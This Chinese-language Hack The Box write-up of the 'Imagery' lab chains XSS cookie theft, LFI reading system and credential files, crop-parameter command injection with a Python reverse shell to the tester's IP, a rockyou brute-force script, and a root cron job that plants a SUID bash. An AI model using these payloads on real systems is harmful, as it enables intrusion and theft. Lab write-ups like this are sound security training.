惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

美团技术团队
阮一峰的网络日志
阮一峰的网络日志
T
The Blog of Author Tim Ferriss
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
宝玉的分享
宝玉的分享
L
LangChain Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Last Week in AI
Last Week in AI
博客园 - 司徒正美
M
MIT News - Artificial intelligence
人人都是产品经理
人人都是产品经理
WordPress大学
WordPress大学
B
Blog RSS Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园 - Franky
B
Blog
V
V2EX
J
Java Code Geeks
D
Docker
博客园 - 叶小钗
The Cloudflare Blog
量子位
博客园_首页
MongoDB | Blog
MongoDB | Blog

ABB00717

HTB - SpeedNet PHP Filter to RCE Redis HTB - Pollution HTB - Pollution 工具 常見服務 HTB - BroScience HTB - BroScience 如何把爛爛的 shell 升級成好用的 TTY 滲透筆記 HTB - Imagery HTB - Reset HTB - Reset HTB - Trick HTB - Trick HTB - Editorial HTB - Editorial 150. Evaluate Reverse Polish Notation droopescan 安裝找不到 module imp 解決「桌面背景被當成一個視窗不斷重新彈出並覆蓋其他視窗」的問題 桌面不斷彈出覆蓋其他視窗 medusa 找不到 ssh module 中文文案排版指北 BugBounty Playbook 小知識 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 清除 git history 中的機敏資料 編譯器筆記
HTB - Imagery
2026-08-28 · via ABB00717

靶機簡介

在 Imagery 圖片上傳管理網站中,我們利用 Bug Reports 的 XSS 漏洞取得 admin 的 session。緊接著利用 Admin Panel 中 Download Log 的 LFI 漏洞取得 testuser 的帳密。最後利用 Crop Image 功能的 OS Command Injection 取得 web 的 shell。

接著我們在系統中發現加密的備份檔案,暴力破解後取得 mark 帳號的密碼,登入後透過濫用自製備份工具的權限取得 root shell。

Academy x HTB Labs

Box Info

Recon

首先一定是 nmap 伺候:

$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
...<SNIP>...

$ nmap -sC -sV -p22,8000 -vv -oA nmap/specific_ports 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...
  • 只有 HTTP(8000) 和 SSH(22)
  • Service Info 顯示是個 Linux server
  • 根據 http-server-header 看到網站是用 Werkzeug/3.1.3 Python/3.12.7 架的

那就直接逛網站,先編輯 /etc/hosts

10.129.33.54    imagery.htb

逛網站

看起來就是讓使用者自由上傳圖片並管理的網站:

網站有開放註冊,去 Register 註冊一個帳號:

註冊並成功登入以後:

推測上傳的圖片會出現在 Gallery,先去 Upload 上傳圖片看看:

隨便選個圖片上傳看看,通常我都會直接擷取當前網站的頁面當作上傳素材,文字欄位也順手看看有沒有 XSS:

點擊 Upload Image 上傳以後在 Gallery 就能看到圖片。它居然把我們的 <script> 給過濾掉並替換成原檔名了:

有些功能被關掉了,我們只能下載和刪除,透過 Download 得知圖片網址為 http://imagery.htb:8000/uploads/fa77b463-9a8e-4d12-b467-6a5b50b67d43_Screenshot_of_Image_Gallery.jpg

點擊未啟用功能會顯示 Feature still in production:

過一段時間以後我的圖片被系統刪除了:

搜查更多資訊

網站逛得差不多了,來看點其他東西。從 Wappalyzer 看到這是 Flask Web Server:

Burp Suite 的 Site Map 列出我們剛剛做過的事情:

/auth_status 會不斷和後端發送身份驗證,我們每做一個動作之前都會附上一次驗證:

可以看到有兩種身份組,Admin 和 Testuser,合理推測 Admin 會有隱藏的 Admin Panel,Testuser 可以使用圖片的測試功能。接著我用 raft-medium-words-lowercase.txt 枚舉看看:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'http://imagery.htb:8000/FUZZ' -request-proto http
...<SNIP>...
login                   [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 65ms]
images                  [Status: 401, Size: 59, Words: 4, Lines: 2, Duration: 68ms]
register                [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 70ms]
logout                  [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 82ms]
upload_image            [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 68ms]

但沒什麼新發現。

Shell as web

為了更深入調查,接著我便按 Ctrl + u 看前端程式碼,結果發現整個 script 都在裡面:

複製到編輯器看,透過 /^[a-z] 肉眼快速過濾有趣的函式以後,發現了幾個有趣的東西。首先,navigateTo 顯示確實有 Admin Panel 的存在,同時也告訴我們一個叫做 reportBug 的東西:

async function navigateTo(pageId) {
// ...<SNIP>...
    if ((targetPageId === 'gallery' || targetPageId === 'upload' || targetPageId === 'reportBug' || targetPageId === 'adminPanel')) {
        if (!authStatus.loggedIn) {
            showMessage('Please log in to access this page.', 'error');
            targetPageId = 'login';
        } else if (targetPageId === 'adminPanel' && !authStatus.isAdmin) {
            showMessage('Access Denied: You must be logged in as an administrator.', 'error');
            targetPageId = 'login';
        }
    }
// ...<SNIP>...
}

在很多函式開頭也可以看到驗證是否為 Test User,證實了我們的猜測:

function handleConvertImage(imageId) {
    if (!loggedInUserIsTestUser) {
        showMessage('Feature still in production.', 'error');
        return;
    }
// ...<SNIP>...
}

XSS

接著重點關注 Gallery、Admin Panel 和 Bug Report 相關程式碼,發現幾乎所有的使用者輸入變數都會使用 DOMPurify.sanitize(username) 過濾,然而有個例外,就是 loadBugReports 中的 report.details

reportCard.innerHTML = `
    <div>
        <p class="...">Report ID: ${DOMPurify.sanitize(report.id)}</p>
        <p class="...">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
        <h3 class="...">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
        <h3 class="...">Bug Details:</h3>
        <div class="...">
            ${report.details}
        </div>
    </div>
    <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="...">
        Delete
    </button>
`;

或許我們可以拿這點當作突破口,注入 XSS 攻擊以竊取 Admin 的 session,從 loadAdminPanelContent 內的 loadBugReports 也證明了這一可能。之後我在前端原始碼翻才發現原來 footer 還有 Report Bug 的入口 …

點進去以後確實看到 report.details 的填寫處了:

先建一個 Python Server:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...

送出後不久就有消息了:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.33.54 - - [28/Aug/2026 22:33:50] code 404, message File not found
10.129.33.54 - - [28/Aug/2026 22:33:50] "GET /bugDetails HTTP/1.1" 404 -

喔耶!看來可以偷偷看 admin session 了。從 PayloadsAllTheThings 偷範例來用:

不久後就能收到 cookie 了:

10.129.33.54 - - [28/Aug/2026 22:42:50] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.apGeQA.6I7O7rSNllorYQdS_0_wdn8vlLA HTTP/1.1" 200 -

直接在 F12 貼上覆蓋原本的 session 並刷新後,首頁就多出了 Admin Panel,證明我們成功變成 Admin 了:

進去以後可以看到我們上傳的 Bug Reports,以及另一個使用者 testuser:

LFI

點擊 admin 的 Download Log 可以下載相關日誌:

[2026-08-28T14:30:08.473233] Logged in successfully.
[2026-08-28T14:30:08.476038] Logged in successfully.
[2026-08-28T14:31:08.352961] Logged in successfully.
[2026-08-28T14:31:08.354048] Logged in successfully.
[2026-08-28T14:32:08.135508] Logged in successfully.
...<SNIP>...

應該是有個機器人不斷自動登入 admin 帳號,因為我們的 XSS 成功了,所以它大概還持續掃描 Admin Panel。讓我們看看具體的日誌請求長什麼樣子:

看到這個 log_identifier 我忍不住手癢想試 LFI,結果真被我試中了,甚至不需要跳脫手段:

$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -request get_system_log_req.txt -request-proto http -fs 186,0 -ac
...<SNIP>...
/etc/shadow             [Status: 500, Size: 95, Words: 8, Lines: 2, Duration: 68ms]
/etc/sudoers            [Status: 500, Size: 96, Words: 8, Lines: 2, Duration: 62ms]
/etc/ssh/sshd_config    [Status: 200, Size: 3545, Words: 323, Lines: 132, Duration: 62ms]
/var/log/dmesg          [Status: 500, Size: 98, Words: 8, Lines: 2, Duration: 65ms]
/var/log/auth.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 66ms]
/var/log/kern.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 68ms]
/var/log/syslog         [Status: 500, Size: 99, Words: 8, Lines: 2, Duration: 68ms]
/var/log/wtmp           [Status: 200, Size: 8448, Words: 1, Lines: 3, Duration: 81ms]
/var/run/utmp           [Status: 200, Size: 1152, Words: 1, Lines: 1, Duration: 64ms]
///////../../../etc/passwd [Status: 200, Size: 1982, Words: 17, Lines: 39, Duration: 60ms]

/etc/passwd 並過濾 sh$

root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

透過 /proc/self/environ 看到目前 USER 是 web

LANG=en_US.UTF-8�PATH=/home/web/web/env/bin:/sbin:/usr/bin�USER=web�LOGNAME=web�HOME=/home/web�SHELL=/bin/bash�INVOCATION_ID=a891de7e21364f8f9cc12b6f7f17c735�JOURNAL_STREAM=9:18007�SYSTEMD_EXEC_PID=1402�MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure�MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=�CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p/runL!�

接著我就在 /proc/self/cwd 亂猜 main 檔名,最後是 app.py 命中:

app.py 為出發點看 import 不斷拿檔案,總共拿到了這麼多檔案:

api_admin.py
api_auth.py
api_edit.py
api_manage.py
api_misc.py
api_upload.py
app.py
config.py
db.json

首先我在 db.json 看到了一些機敏資料:

"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "isAdmin": true,
        "displayId": "a1b2c3d4",
        "login_attempts": 0,
        "isTestuser": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "isAdmin": false,
        "displayId": "e5f6g7h8",
        "login_attempts": 0,
        "isTestuser": true,
        "failed_login_attempts": 0,
        "locked_until": null
    }
],

放到 CrackStation 可以試出 testuser 的密碼 iambatman

testuser@imagery.htb:iambatman 確實可以登入網站,首頁也新增了 Manage Groups 的功能:

OS Command Injection

上傳圖片以後,可以看到解鎖了許多功能:

接著繼續讀原始碼,先從幾個比較有可能出事的函式下手,像是 subprocessopeneval 之類的,果然在 apply_visual_transformsubprocess.run 就有個變數沒有過濾,和前面一樣:

if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

於是我們就可以試試看 OS Command Injection。點擊 Transform Image:

之後選擇 Crop:

隨便填參數後按 Apply Transformation,並用 proxy 攔截。在某個參數注入 command,我先在 x 注入 "0;sleep 5;",最後系統成功暫停了約莫五秒才回傳 (trust me bro):

接著我們就可以試 reverse shell 了,在試了各種 reverse shell 以後,最終 Python3 的成功了:

"0;export RHOST=\"10.10.17.56\";export RPORT=6061;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"sh\")'"

我們拿到的是 web 的 shell:

$ nc -lvnp 6061
listening on [any] 6061 ...
connect to [10.10.17.56] from (UNKNOWN) [10.129.33.54] 33808

$ id
id
uid=1001(web) gid=1001(web) groups=1001(web)

Shell as mark

升級 TTY 以後直接拿 linpeas.sh 下去炸,讓 Claude 分析以後發現有幾個有趣的地方。首先它發現了可疑的 Backup 檔案:

╔══════════╣ Backup folders (T1552.001)
...<SNIP>...
drwxr-xr-x 2 root root 4096 Sep 22  2025 /var/backup
total 22516
-rw-rw-r-- 1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes
...<SNIP>...

接著它找到了使用者自己安裝的 pyAesCrypt

╔══════════╣ Executable files potentially added by user (limit 70) (T1083)
...<SNIP>...
2025-07-30+11:25:49.2198698390 /usr/local/bin/pyAesCrypt
...<SNIP>...

查了才知道 .aes 是某個用 AES Crypt 加密的檔案,而 pyAesCrypt 則是某個用 AES256-CBC 加解密的工具。

於是接下來目的很明確了,我們要利用 pyAesCrypt 嘗試破解這個 .aes 檔案。把 web_20250806_120723.zip.aes 搬到本機,並寫了一個很簡陋的爆破腳本(甚至沒有 multithread xD):

import pyAesCrypt
 
with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
    count = 0
    for pw in f:
        count += 1
        if count % 5000 == 0:
            print(count)
 
        pw = pw.rstrip('\n')
        try:
            pyAesCrypt.decryptFile('web_20250806_120723.zip.aes', 'out.zip', pw)
            print(pw); break
        except ValueError:
            pass

本來是想邊跑邊修的,但出乎我意料,馬上跳出結果:

$ uv run main.py
bestfriends

在目錄下就多出了 out.zip,解壓後就可以得到上一個版本的 web 原始碼:

$ ls -al web
total 100
drwxrwxr-x 6 abb00717 abb00717  4096 Aug 29 01:27 .
drwxr-xr-x 3 abb00717 abb00717  4096 Aug 29 01:27 ..
-rw-rw-r-- 1 abb00717 abb00717  9784 Aug  5  2025 api_admin.py
-rw-rw-r-- 1 abb00717 abb00717  6398 Aug  5  2025 api_auth.py
-rw-rw-r-- 1 abb00717 abb00717 11876 Aug  5  2025 api_edit.py
-rw-rw-r-- 1 abb00717 abb00717  9091 Aug  5  2025 api_manage.py
-rw-rw-r-- 1 abb00717 abb00717   840 Aug  5  2025 api_misc.py
-rw-rw-r-- 1 abb00717 abb00717 12082 Aug  5  2025 api_upload.py
-rw-rw-r-- 1 abb00717 abb00717  1943 Aug  5  2025 app.py
-rw-rw-r-- 1 abb00717 abb00717  1809 Aug  5  2025 config.py
-rw-rw-r-- 1 abb00717 abb00717  1503 Aug  6  2025 db.json
drwxrwxr-x 5 abb00717 abb00717  4096 Aug 29 01:27 env
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 __pycache__
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 system_logs
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 templates
-rw-rw-r-- 1 abb00717 abb00717  4023 Aug  5  2025 utils.py

db.json 我們找到了新的密碼:

"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "displayId": "f8p10uw0",
        "isTestuser": false,
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "displayId": "8utz23o5",
        "isTestuser": true,
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "mark@imagery.htb",
        "password": "01c3d2e5bdaf6134cec0a367cf53e535",
        "displayId": "868facaf",
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    },
    {
        "username": "web@imagery.htb",
        "password": "84e3c804cf1fa14306f26f9f3da177e0",
        "displayId": "7be291d4",
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    }
],

兩個新密碼都可以被破解:

mark:supersmash 即可登入 mark 帳號:

web@Imagery:~/web$ su - mark
Password:

mark@Imagery:~$ cat user.txt
f3e1************************ce40

Shell as root

既然有密碼,那先看看 sudo -l

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

首先執行看看 charcol

mark@Imagery:~$ sudo /usr/local/bin/charcol --help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system password verification).

看到有 shell 就想試試看,但很可惜需要密碼:

mark@Imagery:~$ sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):
[2026-08-28 17:37:28] [ERROR] An unhandled error occurred (Error ID: aa0bcf8e-c6f1-4a3a-8fb7-98078b495e47):
[2026-08-28 17:37:28] [ERROR] Please submit the log file and the following error details to error@charcol.com if the issue persists:
[2026-08-28 17:37:28] [ERROR] Traceback (most recent call last):
[2026-08-28 17:37:28] [ERROR] File "/usr/local/lib/charcol//charcol.py", line 250, in <module>
    main()
[2026-08-28 17:37:28] [ERROR] File "/usr/local/lib/charcol//charcol.py", line 69, in main
    loaded_app_password, loaded_app_password_status = _load_app_password_status(
                                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^
...<SNIP>...
[2026-08-28 17:37:28] [ERROR] KeyboardInterrupt

這東西看起來是 Python 腳本,但很可惜相關腳本我們都無法讀取:

mark@Imagery:/tmp$ ls -al /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug  4  2025 /usr/local/bin/charcol

mark@Imagery:~$ ls -al /usr/local/lib/charcol
ls: cannot open directory '/usr/local/lib/charcol': Permission denied

我有上網試著搜尋原始碼,但沒有結果,看來這是作者自己做的工具,那就只好繼續玩。既然要我們輸入密碼,那就試看看 -R 可不可以重置密碼,結果輸入 mark 的密碼就可以重置了:

mark@Imagery:~$ sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2026-08-28 17:38:52] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2026-08-28 17:38:56] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

再用一次 shell 看看,可以看到這次已經不需要密碼了:

mark@Imagery:~$ sudo /usr/local/bin/charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2026-08-28 17:40:05] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

mark@Imagery:~$ sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0

[2026-08-28 17:40:39] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>

首先輸入 help 看有哪些可用的指令,只能說這個 Automated Jobs 特別顯眼啊:

charcol> help
[2026-08-28 17:41:04] [INFO]
Charcol Shell Commands:
...<SNIP>...
  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

試試看,大概是沒問題了:

charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb" --name "HEHE IM SO BAD"
[2026-08-28 17:51:23] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2026-08-28 17:51:26] [INFO] System password verified successfully.
[2026-08-28 17:51:26] [INFO] Auto job 'HEHE IM SO BAD' (ID: 92feb663-ca81-494a-8674-f744899fe4b7) added successfully. The job will run according to schedule.
[2026-08-28 17:51:26] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
charcol> auto list
[2026-08-28 17:51:29] [INFO] Charcol-managed auto jobs:
[2026-08-28 17:51:29] [INFO]   ID: 92feb663-ca81-494a-8674-f744899fe4b7
[2026-08-28 17:51:29] [INFO]   Name: HEHE IM SO BAD
[2026-08-28 17:51:29] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
[2026-08-28 17:51:29] [INFO] ------------------------------
charcol> exit
[2026-08-28 17:51:30] [INFO] Exiting Charcol shell.

原本我是放在 /tmp 的,但不知為何還是原本的 mark,放到 /var/tmp 才成功提權。

果然沒過多久就出現了:

mark@Imagery:~$ ls -al /var/tmp/abb
-rwsrwxrwx 1 root root 1474768 Aug 28 17:52 /var/tmp/abb

mark@Imagery:~$ /var/tmp/abb -p
abb-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)

abb-5.2# cat /root/root.txt
8aa9************************cd2b

Bonus

因為發現前幾次 writeup 讀起來很拖沓,所以這次 writeup 我試著不要這麼多廢話,情緒不那麼激動,也適當減掉某些部份以維持閱讀節奏,不再忠於「全過程」老實的紀錄。但我又覺得一些失誤不紀錄起來又很可惜,所以就改成 Info Box 在旁邊輕筆帶過。

原本全紀錄的初衷是為了做出 Live Coding 的那種味道,像是這樣的影片:

不過這種形式果然還是直播效果最好啊,而且要讓思維非常清晰的人拍才會有人想看,像我目前真的沒這個能力,那就乖乖當一般人就好了 xD

延伸閱讀